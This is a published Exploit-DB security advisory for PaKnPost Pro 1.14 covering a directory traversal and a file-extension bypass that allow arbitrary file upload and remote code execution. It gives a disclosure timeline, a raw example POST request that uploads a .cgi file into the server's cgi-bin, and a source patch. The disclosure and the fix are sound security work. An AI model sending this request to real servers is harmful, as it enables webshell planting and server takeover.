PaKnPost Pro 1.14 - Multiple Vulnerabilities

EDB-ID:

40063

CVE:

N/A


Platform:

CGI

Date:

2016-07-06


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# Exploit Title: PaKnPost Pro Arbitrary File Upload & Remote Code Execution
# Date: 2016-07-06
# Product: PaKnPost Pro
# Vendor Homepage: http://www.paknpost.org
# Software Link: https://sourceforge.net/projects/paknpost/
# Version: <=1.14
# Tested on: Windows, Linux
# Exploit Authors: Edvin Rustemagic, Grega Preseren
# Contacts: https://www.linkedin.com/in/edvinrustemagic - https://si.linkedin.com/in/gregapreseren

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Description
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File extension check bypass and directory traversal lead to uploading an arbitrary file to an unintended directory and remote code execution.

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Details
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File extension check can be bypassed by using two extensions, out of which one must be allowed (select_.cgi:368). 
Directory traversal vulnerability exists in the GET parameter sid, where no validation checks are made (select_.cgi:204). 
Exploitation of these two vulnerabilities allows an attacker to upload a webshell to an executable directory and gain command line access to the server. Windows deployments turned out to be more likely exploitable with a consequence of gaining SYSTEM privileges.

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Timeline
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2016-03-15 Vulnerability discovered at customer's deployment.
2016-06-13 PoC completed for Linux and Windows platforms.
2016-06-13 Author/Maintainer at SourceForge has been notified.
2016-06-21 Patch written and delivered to Author/Maintainer.
2016-06-23 Patch publicly released.
2016-07-06 Exploit submitted to Exploit-DB.

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Windows PoC Environment
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- Windows Server 2003 R2 SP2
- Apache 2.2.10
- ActivePerl 5.8.0.806

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Linux PoC Environment
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- Debian 8.3
- Apache 2.4.10
- Perl 5.20.2

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Exploit
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1. File upload GET parameter 'sid' can be exploited in order to upload an arbitrary file to an unintended executable directory.
2. File upload multipart POST parameter 'filename' can include two extensions to bypass file extension check.
For example:
POST /cgi-bin/pnp/select_.cgi?sid=../../../cgi-bin/ HTTP/1.1
Host: paknpost
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://paknpost/cgi-bin/pnp/select.cgi
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------6077763223847
Content-Length: 6087

-----------------------------6077763223847
Content-Disposition: form-data; name="file[1]"; filename="pnp-test.txt.cgi"
Content-Type: application/octet-stream

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Solution/Patch
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a. Update to version 1.15
b. Or apply the following patch:
--- select_.cgi.ORIG    2016-03-29 22:56:40.868000000 +0200
+++ select_.cgi 2016-06-14 10:18:37.864000000 +0200
@@ -201,6 +201,9 @@
 }

 # Create the new Holding Area
+if ($sessionid =~ m/[^\w]/) {
+  &error(file_write);
+}
 $user_dir = $upload_dir.$sessionid;
 if (-d "$user_dir")
 {
@@ -365,7 +368,7 @@
          if ($file_check)
          {
            # Exclude all except acceptable file extensions as a fist cut to file checks
-           unless (grep($fhl =~ /$_/, @allowed_ext)) { $debug1 = "Failed"; &show_file_not_allowed; }
+           unless (grep($fhl =~ /$_$/, @allowed_ext)) { $debug1 = "Failed"; &show_file_not_allowed; }
            $debug1 = "Passed";